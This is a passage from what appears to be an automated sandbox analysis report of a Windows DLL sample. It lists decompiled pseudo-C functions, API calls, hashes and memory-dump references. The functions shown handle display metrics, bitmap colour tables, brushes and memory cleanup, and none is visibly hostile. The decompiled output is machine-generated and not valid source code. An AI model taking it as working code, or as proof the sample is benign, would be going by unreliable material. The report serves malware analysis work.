					if(_t27 == 0x12340042 && _t29 != 0 &&  *_t29 >= 0x28 && SystemParametersInfoA(0x30, 0,  &_v20, 0) != 0) {
						 *((intOrPtr*)(_t29 + 4)) = 0;
						 *((intOrPtr*)(_t29 + 8)) = 0;
						 *((intOrPtr*)(_t29 + 0xc)) = GetSystemMetrics(0);
						 *((intOrPtr*)(_t29 + 0x10)) = GetSystemMetrics(1);
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t31 = _t29;
						 *(_t31 + 0x24) = 1;
						if( *_t31 >= 0x4c) {
							_push("DISPLAY");
							_push(_t31 + 0x28);
							L00B16E54();
						}
						_t24 = 1;
					}
				} else {
					_t26 =  *0xbdf90c; // 0xb39f5c
					 *0xbdf90c = E00B39A84(6, _t23, _t26, _t27, _t29);
					_t24 =  *0xbdf90c(_t27, _t29);
				}
				return _t24;
			}

0x00b39f65
0x00b39f68
0x00b39f72
0x00b39f97
0x00b39f9f
0x00b39fbf
0x00b39fc4
0x00b39fcf
0x00b39fda
0x00b39fe4
0x00b39fe5
0x00b39fe6
0x00b39fe7
0x00b39fe8
0x00b39fe9
0x00b39ff3
0x00b39ff5
0x00b39ffd
0x00b39ffe
0x00b39ffe
0x00b3a003
0x00b3a003
0x00b39f74
0x00b39f79
0x00b39f86
0x00b39f93
0x00b39f93
0x00b3a00d

APIs

SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00B39FB4
GetSystemMetrics.USER32 ref: 00B39FC9
GetSystemMetrics.USER32 ref: 00B39FD4
lstrcpy.KERNEL32(?,DISPLAY), ref: 00B39FFE

Part of subcall function 00B39A84: GetProcAddress.KERNEL32(75BA0000,00000000), ref: 00B39B04

Strings

GetMonitorInfoW, xrefs: 00B39F74
DISPLAY, xrefs: 00B39FF5

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: System$Metrics$AddressInfoParametersProclstrcpy
String ID: DISPLAY$GetMonitorInfoW
API String ID: 2545840971-2774842281
Opcode ID: 9d7caf7b3481320c1b4f05ded08470f9dbe390f9358f239cbcfb9958b259df7a
Instruction ID: ff7a0935a15554212e4a41bf94a50a51aa92b2654fb3e2d62057355cd90bc2a8
Opcode Fuzzy Hash: 9d7caf7b3481320c1b4f05ded08470f9dbe390f9358f239cbcfb9958b259df7a
Instruction Fuzzy Hash: 1111D6716063059FD724CF649C547A7B7E8EB05710F20857AEC86D7280EB70B944CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00B36DB4 Relevance: 10.6, APIs: 7, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00B36DB4(int __eax, void* __ecx, intOrPtr __edx) {
				intOrPtr _v8;
				int _v12;
				struct HDC__* _v16;
				void* _v20;
				struct tagRGBQUAD _v1044;
				int _t16;
				struct HDC__* _t18;
				int _t31;
				int _t34;
				intOrPtr _t41;
				void* _t43;
				void* _t46;
				void* _t48;
				intOrPtr _t49;

				_t16 = __eax;
				_t46 = _t48;
				_t49 = _t48 + 0xfffffbf0;
				_v8 = __edx;
				_t43 = __eax;
				if(__eax == 0 ||  *((short*)(__ecx + 0x26)) > 8) {
					L4:
					return _t16;
				} else {
					_t16 = E00B35C18(_v8, 0xff,  &_v1044);
					_t34 = _t16;
					if(_t34 == 0) {
						goto L4;
					} else {
						_push(0);
						L00B171A4();
						_v12 = _t16;
						_t18 = _v12;
						_push(_t18);
						L00B16E94();
						_v16 = _t18;
						_v20 = SelectObject(_v16, _t43);
						_push(_t46);
						_push(0xb36e63);
						_push( *[fs:eax]);
						 *[fs:eax] = _t49;
						SetDIBColorTable(_v16, 0, _t34,  &_v1044);
						_pop(_t41);
						 *[fs:eax] = _t41;
						_push(0xb36e6a);
						SelectObject(_v16, _v20);
						DeleteDC(_v16);
						_t31 = _v12;
						_push(_t31);
						_push(0);
						L00B173DC();
						return _t31;
					}
				}
			}

0x00b36db4
0x00b36db5
0x00b36db7
0x00b36dbf
0x00b36dc2
0x00b36dc6
0x00b36e6a
0x00b36e6f
0x00b36dd7
0x00b36de5
0x00b36dea
0x00b36dee
0x00000000
0x00b36df0
0x00b36df0
0x00b36df2
0x00b36df7
0x00b36dfa
0x00b36dfd
0x00b36dfe
0x00b36e03
0x00b36e10
0x00b36e15
0x00b36e16
0x00b36e1b
0x00b36e1e
0x00b36e2f
0x00b36e36
0x00b36e39
0x00b36e3c
0x00b36e49
0x00b36e52
0x00b36e57
0x00b36e5a
0x00b36e5b
0x00b36e5d
0x00b36e62
0x00b36e62
0x00b36dee

APIs

Part of subcall function 00B35C18: GetObjectA.GDI32(?,00000004), ref: 00B35C2F
Part of subcall function 00B35C18: 73BEAEA0.GDI32(?,00000000,?,?,?,00000004,?,000000FF,?,?,?,00B36DEA), ref: 00B35C52

73BEAC50.USER32(00000000), ref: 00B36DF2
73BEA590.GDI32(?,00000000), ref: 00B36DFE
SelectObject.GDI32(?), ref: 00B36E0B
SetDIBColorTable.GDI32(?,00000000,00000000,?,00000000,00B36E63,?,?,?,?,00000000), ref: 00B36E2F
SelectObject.GDI32(?,?), ref: 00B36E49
DeleteDC.GDI32(?), ref: 00B36E52
73BEB380.USER32(00000000,?,?,?,?,00B36E6A,?,00000000,00B36E63,?,?,?,?,00000000), ref: 00B36E5D

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: Object$Select$A590B380ColorDeleteTable
String ID:
API String ID: 980243606-0
Opcode ID: 7e6633ec78f5e32be7092f6c55b88a22c2cb58f57733acb83aa92a4dcdc50818
Instruction ID: a887af4aa5702758d9ab81dc0bfd38c115830426e3403692cad7ee8057a7d7e8
Opcode Fuzzy Hash: 7e6633ec78f5e32be7092f6c55b88a22c2cb58f57733acb83aa92a4dcdc50818
Instruction Fuzzy Hash: 20111C76E04219BBDB10EBE8DC51AEEB7FCEB08704F5084E5F914E7241D6B59E808B60

Uniqueness

Uniqueness Score: -1.00%

Function 00B31064 Relevance: 9.1, APIs: 6, Instructions: 109
threadCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E00B31064(void* __eax, void* __ebx, void* __edi, void* __esi) {
				char _v5;
				intOrPtr* _v12;
				long _v16;
				char _v20;
				char _v24;
				long _t22;
				char _t29;
				void* _t53;
				intOrPtr _t61;
				intOrPtr* _t62;
				intOrPtr _t63;
				intOrPtr _t66;
				intOrPtr _t67;
				void* _t72;
				void* _t73;
				intOrPtr _t74;

				_t72 = _t73;
				_t74 = _t73 + 0xffffffec;
				_push(__esi);
				_push(__edi);
				_t53 = __eax;
				_t22 = GetCurrentThreadId();
				_t62 =  *0xbde638; // 0xbdf034
				if(_t22 !=  *_t62) {
					_v24 = GetCurrentThreadId();
					_v20 = 0;
					_t61 =  *0xbde3fc; // 0xb2716c
					E00B1C2BC(_t53, _t61, 1, __edi, __esi, 0,  &_v24);
					E00B13BC0();
				}
				if(_t53 <= 0) {
					E00B3103C();
				} else {
					E00B31048(_t53);
				}
				_v16 = 0;
				_push(0xbdf870);
				L00B16C5C();
				_push(_t72);
				_push(0xb311f2);
				_push( *[fs:eax]);
				 *[fs:eax] = _t74;
				_v16 = InterlockedExchange(0xbdc614, _v16);
				_push(_t72);
				_push(0xb311d3);
				_push( *[fs:eax]);
				 *[fs:eax] = _t74;
				if(_v16 == 0 ||  *((intOrPtr*)(_v16 + 8)) <= 0) {
					_t29 = 0;
				} else {
					_t29 = 1;
				}
				_v5 = _t29;
				if(_v5 == 0) {
					L14:
					_pop(_t63);
					 *[fs:eax] = _t63;
					_push(0xb311da);
					return E00B13380(_v16);
				} else {
					if( *((intOrPtr*)(_v16 + 8)) > 0) {
						_v12 = E00B2B65C(_v16, 0);
						E00B2B54C(_v16, 0);
						L00B16DB4();
						 *[fs:eax] = _t74;
						 *[fs:eax] = _t74;
						 *((intOrPtr*)( *_v12 + 8))( *[fs:eax], _t72,  *[fs:eax], 0xb3119d, _t72, 0xbdf870);
						_pop(_t66);
						 *[fs:eax] = _t66;
						_t67 = 0xb3116e;
						 *[fs:eax] = _t67;
						_push(0xb311a4);
						_push(0xbdf870);
						L00B16C5C();
						return 0;
					} else {
						goto L14;
					}
				}
			}

0x00b31065
0x00b31067
0x00b3106b
0x00b3106c
0x00b3106d
0x00b3106f
0x00b31074
0x00b3107c
0x00b31083
0x00b31086
0x00b31090
0x00b3109d
0x00b310a2
0x00b310a2
0x00b310a9
0x00b310b4
0x00b310ab
0x00b310ad
0x00b310ad
0x00b310bb
0x00b310be
0x00b310c3
0x00b310ca
0x00b310cb
0x00b310d0
0x00b310d3
0x00b310e4
0x00b310e9
0x00b310ea
0x00b310ef
0x00b310f2
0x00b310f9
0x00b31104
0x00b31108
0x00b31108
0x00b31108
0x00b3110a
0x00b31111
0x00b311bd
0x00b311bf
0x00b311c2
0x00b311c5
0x00b311d2
0x00b31117
0x00b311b7
0x00b31126
0x00b3112e
0x00b31138
0x00b31148
0x00b31156
0x00b31161
0x00b31166
0x00b31169
0x00b31187
0x00b3118a
0x00b3118d
0x00b31192
0x00b31197
0x00b3119c
0x00000000
0x00000000
0x00000000
0x00b311b7

APIs

GetCurrentThreadId.KERNEL32 ref: 00B3106F
GetCurrentThreadId.KERNEL32 ref: 00B3107E

Part of subcall function 00B3103C: ResetEvent.KERNEL32(000001A8,00B310B9), ref: 00B31042

RtlEnterCriticalSection.KERNEL32(00BDF870), ref: 00B310C3
InterlockedExchange.KERNEL32(00BDC614,?), ref: 00B310DF
RtlLeaveCriticalSection.KERNEL32(00BDF870,00000000,00B311D3,?,00000000,00B311F2,?,00BDF870), ref: 00B31138
RtlEnterCriticalSection.KERNEL32(00BDF870,00B311A4,00B311D3,?,00000000,00B311F2,?,00BDF870), ref: 00B31197

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: CriticalSection$CurrentEnterThread$EventExchangeInterlockedLeaveReset
String ID:
API String ID: 2189153385-0
Opcode ID: 9c3dbdb031aef1ea3cc0d27f826d17b7b8984897fd153dbd6199379d2b2b210c
Instruction ID: fe14996c8237a0e3be9216739a9246f9c7c7e45d92b73dc152855f761d328342
Opcode Fuzzy Hash: 9c3dbdb031aef1ea3cc0d27f826d17b7b8984897fd153dbd6199379d2b2b210c
Instruction Fuzzy Hash: DA31B230A04B44AFD711DFA8DC52AA9B7FCEB09700FA588F5F900E7661EB359940DA61

Uniqueness

Uniqueness Score: -1.00%

Function 00B35EC4 Relevance: 9.1, APIs: 6, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00B35EC4(intOrPtr* __eax, void* __ebx, signed int __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags, int _a4, signed int* _a8) {
				intOrPtr* _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v32;
				signed short _v44;
				int _t36;
				signed int _t37;
				signed short _t38;
				signed int _t39;
				signed short _t43;
				signed int* _t47;
				signed int _t51;
				intOrPtr _t61;
				void* _t67;
				void* _t68;
				void* _t69;
				intOrPtr _t70;

				_t68 = _t69;
				_t70 = _t69 + 0xffffff90;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_t47 = _a8;
				_v24 = _v16 << 4;
				_v20 = E00B18764(_v24, __eflags);
				 *[fs:edx] = _t70;
				_t51 = _v24;
				 *((intOrPtr*)( *_v8 + 0xc))( *[fs:edx], 0xb361bb, _t68, __edi, __esi, __ebx, _t67);
				if(( *_t47 | _t47[1]) != 0) {
					_t36 = _a4;
					 *_t36 =  *_t47;
					 *(_t36 + 4) = _t47[1];
				} else {
					 *_a4 = GetSystemMetrics(0xb);
					_t36 = GetSystemMetrics(0xc);
					 *(_a4 + 4) = _t36;
				}
				_push(0);
				L00B171A4();
				_v44 = _t36;
				if(_v44 == 0) {
					E00B35388(_t51);
				}
				_push(_t68);
				_push(0xb35fad);
				_push( *[fs:edx]);
				 *[fs:edx] = _t70;
				_push(0xe);
				_t37 = _v44;
				_push(_t37);
				L00B16F24();
				_push(0xc);
				_t38 = _v44;
				_push(_t38);
				L00B16F24();
				_t39 = _t37 * _t38;
				if(_t39 <= 8) {
					__eflags = 1;
					_v32 = 1 << _t39;
				} else {
					_v32 = 0x7fffffff;
				}
				_pop(_t61);
				 *[fs:eax] = _t61;
				_push(0xb35fb4);
				_t43 = _v44;
				_push(_t43);
				_push(0);
				L00B173DC();
				return _t43;
			}

0x00b35ec5
0x00b35ec7
0x00b35ecd
0x00b35ed0
0x00b35ed3
0x00b35ed6
0x00b35edf
0x00b35eea
0x00b35ef8
0x00b35efe
0x00b35f06
0x00b35f0e
0x00b35f2b
0x00b35f30
0x00b35f35
0x00b35f10
0x00b35f1a
0x00b35f1e
0x00b35f26
0x00b35f26
0x00b35f38
0x00b35f3a
0x00b35f3f
0x00b35f46
0x00b35f48
0x00b35f48
0x00b35f4f
0x00b35f50
0x00b35f55
0x00b35f58
0x00b35f5b
0x00b35f5d
0x00b35f60
0x00b35f61
0x00b35f68
0x00b35f6a
0x00b35f6d
0x00b35f6e
0x00b35f77
0x00b35f7d
0x00b35f8f
0x00b35f91
0x00b35f7f
0x00b35f7f
0x00b35f7f
0x00b35f96
0x00b35f99
0x00b35f9c
0x00b35fa1
0x00b35fa4
0x00b35fa5
0x00b35fa7
0x00b35fac

APIs

GetSystemMetrics.USER32 ref: 00B35F12
GetSystemMetrics.USER32 ref: 00B35F1E
73BEAC50.USER32(00000000), ref: 00B35F3A
73BEAD70.GDI32(00000000,0000000E,00000000,00B35FAD,?,00000000), ref: 00B35F61
73BEAD70.GDI32(00000000,0000000C,00000000,0000000E,00000000,00B35FAD,?,00000000), ref: 00B35F6E
73BEB380.USER32(00000000,00000000,00B35FB4,0000000E,00000000,00B35FAD,?,00000000), ref: 00B35FA7

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: MetricsSystem$B380
String ID:
API String ID: 3145338429-0
Opcode ID: c5f41ebc16c1820c67202cfcd41d9555cd6f0deb0289c47f985bf66a1ce958f2
Instruction ID: a9cfa00ada87305acd787e1672be593e0d8c03bf0071c44fbe3dd1fb3ae44e5a
Opcode Fuzzy Hash: c5f41ebc16c1820c67202cfcd41d9555cd6f0deb0289c47f985bf66a1ce958f2
Instruction Fuzzy Hash: AF316B74A00644EFEB10DFA4C881AAEBBF5FF49710F6085A4F814AB390D670AD41CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00B3631C Relevance: 9.1, APIs: 6, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E00B3631C(struct HBITMAP__* __eax, void* __ebx, struct tagBITMAPINFO* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, void* _a8) {
				char _v5;
				struct HDC__* _v12;
				struct HDC__* _v16;
				struct HDC__* _t29;
				struct tagBITMAPINFO* _t32;
				intOrPtr _t39;
				struct HBITMAP__* _t43;
				void* _t46;

				_t32 = __ecx;
				_t43 = __eax;
				E00B361CC(__eax, _a4, __ecx);
				_v12 = 0;
				_push(0);
				L00B16E94();
				_v16 = 0;
				_push(_t46);
				_push(0xb363b9);
				_push( *[fs:eax]);
				 *[fs:eax] = _t46 + 0xfffffff4;
				if(__edx != 0) {
					_push(0);
					_push(__edx);
					_t29 = _v16;
					_push(_t29);
					L00B16FC4();
					_v12 = _t29;
					_push(_v16);
					L00B16F9C();
				}
				_v5 = GetDIBits(_v16, _t43, 0, _t32->bmiHeader.biHeight, _a8, _t32, 0) != 0;
				_pop(_t39);
				 *[fs:eax] = _t39;
				_push(0xb363c0);
				if(_v12 != 0) {
					_push(0);
					_push(_v12);
					_push(_v16);
					L00B16FC4();
				}
				return DeleteDC(_v16);
			}

0x00b36325
0x00b36329
0x00b36332
0x00b36339
0x00b3633c
0x00b3633e
0x00b36343
0x00b36348
0x00b36349
0x00b3634e
0x00b36351
0x00b36356
0x00b36358
0x00b3635a
0x00b3635b
0x00b3635e
0x00b3635f
0x00b36364
0x00b3636a
0x00b3636b
0x00b3636b
0x00b36389
0x00b3638f
0x00b36392
0x00b36395
0x00b3639e
0x00b363a0
0x00b363a5
0x00b363a9
0x00b363aa
0x00b363aa
0x00b363b8

APIs

Part of subcall function 00B361CC: GetObjectA.GDI32(?,00000054), ref: 00B361E0

73BEA590.GDI32(00000000), ref: 00B3633E
73BEB410.GDI32(?,?,00000000,00000000,00B363B9,?,00000000), ref: 00B3635F
73BEB150.GDI32(?,?,?,00000000,00000000,00B363B9,?,00000000), ref: 00B3636B
GetDIBits.GDI32(?,?,00000000,?,?,?,00000000), ref: 00B36382
73BEB410.GDI32(?,00000000,00000000,00B363C0,?,00000000), ref: 00B363AA
DeleteDC.GDI32(?), ref: 00B363B3

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: B410$A590B150BitsDeleteObject
String ID:
API String ID: 3837315262-0
Opcode ID: 95d5c0954e564904a65df5fa0268717e3fceed8efe30d128091b2a7e51401e30
Instruction ID: ca19a60d6a760f680bef6e0a70dd4668bc38da1b4eaa08d88e53f1459bf0b1c4
Opcode Fuzzy Hash: 95d5c0954e564904a65df5fa0268717e3fceed8efe30d128091b2a7e51401e30
Instruction Fuzzy Hash: 99112E75A04204BFDB10DBADCC81F9EB7FCEF49710F5184A4B518E7291E675AD408764

Uniqueness

Uniqueness Score: -1.00%

Function 00B11CD0 Relevance: 9.1, APIs: 6, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00B11CD0() {
				void* _t2;
				void* _t3;
				void* _t14;
				intOrPtr* _t19;
				intOrPtr _t23;
				intOrPtr _t26;
				intOrPtr _t28;

				_t26 = _t28;
				if( *0xbdf5c4 == 0) {
					return _t2;
				} else {
					_push(_t26);
					_push(0xb11da6);
					_push( *[fs:edx]);
					 *[fs:edx] = _t28;
					if( *0xbdf04d != 0) {
						_push(0xbdf5cc);
						L00B11568();
					}
					 *0xbdf5c4 = 0;
					_t3 =  *0xbdf624; // 0xa34878
					LocalFree(_t3);
					 *0xbdf624 = 0;
					_t19 =  *0xbdf5ec; // 0xa35eac
					while(_t19 != 0xbdf5ec) {
						VirtualFree( *(_t19 + 8), 0, 0x8000);
						_t19 =  *_t19;
					}
					E00B115D0(0xbdf5ec);
					E00B115D0(0xbdf5fc);
					E00B115D0(0xbdf628);
					_t14 =  *0xbdf5e4; // 0xa35878
					while(_t14 != 0) {
						 *0xbdf5e4 =  *_t14;
						LocalFree(_t14);
						_t14 =  *0xbdf5e4; // 0xa35878
					}
					_pop(_t23);
					 *[fs:eax] = _t23;
					_push(0xb11dad);
					if( *0xbdf04d != 0) {
						_push(0xbdf5cc);
						L00B11570();
					}
					_push(0xbdf5cc);
					L00B11578();
					return 0;
				}
			}

0x00b11cd1
0x00b11cdb
0x00b11daf
0x00b11ce1
0x00b11ce3
0x00b11ce4
0x00b11ce9
0x00b11cec
0x00b11cf6
0x00b11cf8
0x00b11cfd
0x00b11cfd
0x00b11d02
0x00b11d09
0x00b11d0f
0x00b11d16
0x00b11d1b
0x00b11d35
0x00b11d2e
0x00b11d33
0x00b11d33
0x00b11d42
0x00b11d4c
0x00b11d56
0x00b11d5b
0x00b11d62
0x00b11d66
0x00b11d6d
0x00b11d72
0x00b11d77
0x00b11d7d
0x00b11d80
0x00b11d83
0x00b11d8f
0x00b11d91
0x00b11d96
0x00b11d96
0x00b11d9b
0x00b11da0
0x00b11da5
0x00b11da5

APIs

RtlEnterCriticalSection.KERNEL32(00BDF5CC,00000000,00B11DA6), ref: 00B11CFD
LocalFree.KERNEL32(00A34878,00000000,00B11DA6), ref: 00B11D0F
VirtualFree.KERNEL32(?,00000000,00008000,00A34878,00000000,00B11DA6), ref: 00B11D2E
LocalFree.KERNEL32(00A35878,?,00000000,00008000,00A34878,00000000,00B11DA6), ref: 00B11D6D
RtlLeaveCriticalSection.KERNEL32(00BDF5CC,00B11DAD,00A34878,00000000,00B11DA6), ref: 00B11D96
RtlDeleteCriticalSection.KERNEL32(00BDF5CC,00B11DAD,00A34878,00000000,00B11DA6), ref: 00B11DA0

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID:
API String ID: 3782394904-0
Opcode ID: bfd113e371b63fedbae673b8fa017dd125e1447736597c44034624acc61d08b6
Instruction ID: a75fbda57eb09d99c9414f65e49eb36f59a483083883ce0d48d305801621bac4
Opcode Fuzzy Hash: bfd113e371b63fedbae673b8fa017dd125e1447736597c44034624acc61d08b6
Instruction Fuzzy Hash: 4A11B47460A6425ED710AF6CBC56BB5B7DAE7A5704FC048F3F203872A1E960C880C760

Uniqueness

Uniqueness Score: -1.00%

Function 00B35B74 Relevance: 9.1, APIs: 6, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00B35B74(struct HDC__* __eax, signed int __ecx) {
				char _v1036;
				signed int _v1038;
				struct tagRGBQUAD _v1048;
				short _v1066;
				short* _t15;
				void* _t18;
				struct HDC__* _t23;
				void* _t26;
				short* _t31;
				short* _t32;

				_t31 = 0;
				 *_t32 = 0x300;
				if(__eax == 0) {
					_v1038 = __ecx;
					E00B12AC8(_t26, __ecx << 2,  &_v1036);
				} else {
					_push(0);
					L00B16E94();
					_t23 = __eax;
					_t18 = SelectObject(__eax, __eax);
					_v1066 = GetDIBColorTable(_t23, 0, 0x100,  &_v1048);
					SelectObject(_t23, _t18);
					DeleteDC(_t23);
				}
				if(_v1038 != 0) {
					if(_v1038 != 0x10 || E00B35ADC(_t32) == 0) {
						E00B3596C( &_v1036, _v1038 & 0x0000ffff);
					}
					_t15 = _t32;
					_push(_t15);
					L00B16EBC();
					_t31 = _t15;
				}
				return _t31;
			}

0x00b35b7f
0x00b35b81
0x00b35b89
0x00b35bc3
0x00b35bd1
0x00b35b8b
0x00b35b8b
0x00b35b8d
0x00b35b92
0x00b35b96
0x00b35baf
0x00b35bb6
0x00b35bbc
0x00b35bbc
0x00b35bdc
0x00b35be4
0x00b35bfa
0x00b35bfa
0x00b35bff
0x00b35c01
0x00b35c02
0x00b35c07
0x00b35c07
0x00b35c14

APIs

73BEA590.GDI32(00000000,00000000,?,?,00B38063,?,?,?,?,00B36C4F,00000000,00B36CDB), ref: 00B35B8D
SelectObject.GDI32(00000000,00000000), ref: 00B35B96
GetDIBColorTable.GDI32(00000000,00000000,00000100,?,00000000,00000000,00000000,00000000,?,?,00B38063,?,?,?,?,00B36C4F), ref: 00B35BAA
SelectObject.GDI32(00000000,00000000), ref: 00B35BB6
DeleteDC.GDI32(00000000), ref: 00B35BBC
73BEA8F0.GDI32(?,00000000,?,?,00B38063,?,?,?,?,00B36C4F,00000000,00B36CDB), ref: 00B35C02

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: ObjectSelect$A590ColorDeleteTable
String ID:
API String ID: 1056449717-0
Opcode ID: 51e7dc9b8e2b7936394e1b89e8001dead6ba83b8a03920836762a65d0fd4e157
Instruction ID: 6fbb0ff9237bfbbd8eaacd0915da9142abf0b061ef50a7302284ebeec2c0d826
Opcode Fuzzy Hash: 51e7dc9b8e2b7936394e1b89e8001dead6ba83b8a03920836762a65d0fd4e157
Instruction Fuzzy Hash: 4701B56120471066D620BB299C43FABB3F8DFC0710F64C99DF58887282F6758C8483A6

Uniqueness

Uniqueness Score: -1.00%

Function 00B35264 Relevance: 9.0, APIs: 6, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B35264(void* __eax) {
				void* _t36;

				_t36 = __eax;
				UnrealizeObject(E00B34A40( *((intOrPtr*)(__eax + 0x14))));
				SelectObject( *(_t36 + 4), E00B34A40( *((intOrPtr*)(_t36 + 0x14))));
				if(E00B34B20( *((intOrPtr*)(_t36 + 0x14))) != 0) {
					SetBkColor( *(_t36 + 4),  !(E00B33D80(E00B34A04( *((intOrPtr*)(_t36 + 0x14))))));
					return SetBkMode( *(_t36 + 4), 1);
				} else {
					SetBkColor( *(_t36 + 4), E00B33D80(E00B34A04( *((intOrPtr*)(_t36 + 0x14)))));
					return SetBkMode( *(_t36 + 4), 2);
				}
			}

0x00b35265
0x00b35270
0x00b35282
0x00b35291
0x00b352cb
0x00b352dc
0x00b35293
0x00b352a5
0x00b352b6
0x00b352b6

APIs

Part of subcall function 00B34A40: CreateBrushIndirect.GDI32(?), ref: 00B34AEA

UnrealizeObject.GDI32(00000000), ref: 00B35270
SelectObject.GDI32(?,00000000), ref: 00B35282
SetBkColor.GDI32(?,00000000), ref: 00B352A5
SetBkMode.GDI32(?,00000002), ref: 00B352B0
SetBkColor.GDI32(?,00000000), ref: 00B352CB
SetBkMode.GDI32(?,00000001), ref: 00B352D6

Part of subcall function 00B33D80: GetSysColor.USER32(?), ref: 00B33D8A

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: Color$ModeObject$BrushCreateIndirectSelectUnrealize
String ID:
API String ID: 3527656728-0
Opcode ID: 14f6aa9631b8364fae043b54f33af7ef634752645c4b6b2fabfca5e3adb34395
Instruction ID: f7e36ca77dd1e443cdc55634a706f5fbe49d6f1eae1b0b9b061746d1dec7d4e3
Opcode Fuzzy Hash: 14f6aa9631b8364fae043b54f33af7ef634752645c4b6b2fabfca5e3adb34395
Instruction Fuzzy Hash: 2DF074B5645240ABCE04FFA8E9C6E4B7BE8AF08301B5444D0B904DF247CA65F8519735

Uniqueness

Uniqueness Score: -1.00%

Function 00B131F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49
registryCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E00B131F0() {
				void* _v8;
				char _v12;
				int _v16;
				signed short _t12;
				signed short _t14;
				intOrPtr _t27;
				void* _t29;
				void* _t31;
				intOrPtr _t32;

				_t29 = _t31;
				_t32 = _t31 + 0xfffffff4;
				_v12 =  *0xbdc020 & 0x0000ffff;
